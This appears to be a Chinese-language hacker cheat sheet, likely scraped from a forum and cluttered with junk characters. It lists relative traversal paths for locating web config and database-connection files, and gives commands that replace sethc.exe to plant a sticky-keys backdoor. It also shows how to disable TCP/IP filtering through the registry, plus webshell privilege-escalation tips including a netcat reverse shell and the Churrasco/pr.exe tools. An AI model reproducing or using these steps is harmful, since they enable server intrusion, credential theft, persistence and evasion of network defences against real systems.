c:\Program Files\Oracle\bin\regsvr32.exe
' c1 T. ^0 U, Q- _) p7 Ac:\Program Files\腾讯游戏\QQGAME\readme.txt
% Q6 Y' e$ v" X8 l9 fc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 w) z1 y; ?4 C+ p* F. [9 hc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

* r' E3 [8 u7 z; V8 U3.网站相对路径:

/config.php
7 X% Q9 T- `4 P  }../../config.php
* v6 [" \3 d/ ~../config.php
7 R* y- q$ b+ g' d../../../config.php
; M2 g6 B/ p  H8 l' g3 ^: G, }/ g/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
5 W) q, `" ?$ \: a7 v% |, k/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
* _$ D+ k- z) L  c3 g' W../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
, p" r6 _0 v+ C: h* x../../config/config.php
; e# ?' P  ~# F../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
  [8 d- \1 T- |/ w../../config/config.inc.php
* o( R, X0 f' B0 {' R  I../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
+ g$ U- U/ D( _9 O  ]& a../../config/conn.php
../config/conn.php
../../../config/conn.php
6 B, t& M+ X' g* {4 h3 y" n1 m/config/conn.asp
./config/conn.asp
& ]$ y  y3 j/ E/ O: s1 b; V# c../../config/conn.asp
4 J5 z2 q5 l, Q2 w% C8 d../config/conn.asp
. B2 V5 \( r  z- G# e( N../../../config/conn.asp
# U+ L& C( j8 x" b; I/config/config.inc.php
( i% [1 U, g6 ]) |9 o./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
5 ?" s3 _7 Z/ D4 ^! Y3 x../../../config/config.inc.php
+ M( X2 |: C7 \4 Y3 w3 ]/data/config.php
../../data/config.php
: ]. t3 y- w9 O# v; ]../data/config.php
! ?( G) N7 V, v../../../data/config.php
0 Q9 f  \" O; J; x. M! l/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
9 W" T* I, f! L0 F; c) B& O0 k6 L./data/conn.php
1 @5 E8 @" [4 t8 R+ o: j9 @7 X- S) A../../data/conn.php
$ `& ?- V, J7 y4 l3 _../data/conn.php
3 w& Z7 ~6 o  \: k../../../data/conn.php
* h: I0 A8 K! }: i$ l8 M6 p; b/data/conn.asp
./data/conn.asp
# `/ f* ?" D1 u, S5 k  @; H6 v: r; o../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
) l# h: _/ w0 \& \$ y: `$ Z../../data/config.inc.php
../data/config.inc.php
( F) Q" Y2 K2 [9 D- b../../../data/config.inc.php
/include/config.php
9 L6 G9 F8 v+ V" ~$ n. V+ o6 T5 [../../include/config.php
../include/config.php
../../../include/config.php
6 G: S, s4 _& U7 I/include/config.inc.php
./include/config.inc.php
0 c3 C* A1 ]7 s8 W9 j! e8 n" \../../include/config.inc.php
../include/config.inc.php
$ D  y, S1 c4 o../../../include/config.inc.php
/include/conn.php
( d- T5 x# J2 L5 u0 T  ?( [4 I+ j2 k./include/conn.php
9 D) V  E% T3 A../../include/conn.php
$ Q. F6 q% c+ A) ~( D. E% q../include/conn.php
9 g- c0 P- X" L6 O$ `- O../../../include/conn.php
# B5 q" C9 `$ u  O/include/conn.asp
! K5 T3 W. a, P" d% T./include/conn.asp
../../include/conn.asp
- Q; @/ W6 L. d' S; a7 u5 L. o$ e4 K3 v5 U../include/conn.asp
../../../include/conn.asp
# F7 j/ h4 A4 D' \/ ?/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
3 d  g* s# E7 ^../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
" ?7 F6 W: o; B* s( ?7 t" K8 i../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
) K0 ^1 ~: p. ]7 ~( Y/ ]../../inc/config.inc.php
: ?" l, j/ X' e../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
; Z( a7 K* V3 L  ~../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
1 H" N: M- S5 |) {" ^( D  T0 T8 \/ L../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
6 a. k: S2 l- d3 k1 F7 }& G1 N( p! ?../../inc/config.inc.php
4 N# f/ ]; `5 I* k% J% Z7 z* B../inc/config.inc.php
../../../inc/config.inc.php
; V& V) E8 r! r, \3 }) A/index.php
3 f0 u% p6 L/ E( `; Y& c./index.php
& x0 T  D9 O' v. ?* _: j../../index.php
../index.php
  e0 p* t4 b# m../../../index.php
/index.asp
./index.asp
../../index.asp
4 Q- p8 Q+ k2 f* P../index.asp
../../../index.asp
+ q- a# v$ E% j7 Q# L7 @9 @替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
; j" o8 C; a* b  J8 ?
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
* a  |% [& Q$ ~7 w# C  R4 m, }
# ^3 ^; q3 n& `: t% D　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
0 {0 A; U2 [3 h
) O8 M7 e; e- [' C; f　　attrib c:\windows\system32\sethc.exe +h +r +s
( H" q& T: G, x3 [5 m
3 n7 x  Y3 t2 ]　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
" f" @7 h4 P9 [$ n+ JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; {& b: R# p% p3 {& tHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

5 t6 L3 @$ f$ O+ g& B分别用
( n0 A4 U( q! B4 e6 F+ Wregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ K' n6 M& J4 |/ h/ E' l9 d' zregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
% E+ k6 ~  f8 ?: b# M2 `regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

7 J7 [0 J( t! `7 p! L1 R4 L再将以上三个文件分别用
) V$ I- T4 J8 o& V! @regedit -s D:\a.reg
regedit -s D:\b.reg
( V" x) w/ G$ B7 K2 _) g7 hregedit -s D:\c.reg
导入注册表即可
8 J5 {% @9 @( v3 X' {0 P* L
: j# I! v" ]! a1 Qwebshell提权小技巧
9 Y; I+ Q( |' V. y- lcmd路径:
; j2 c$ o4 r, s) J3 a# Tc:\windows\temp\cmd.exe
6 h1 M1 V; ~' b8 Z; i/ I* jnc也在同目录下
- t$ z3 X/ C, v' o3 J( m/ q例如反弹cmdshell：
& N2 \) [9 k2 p& o"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
  z2 ~) a# s% N* E" {通常都不会成功。
3 `& @5 ?) {4 R' G. h
. r2 i7 ]+ C8 f; H- O; W! g而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
0 m1 G! ~( V9 {8 O+ ^! ]这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功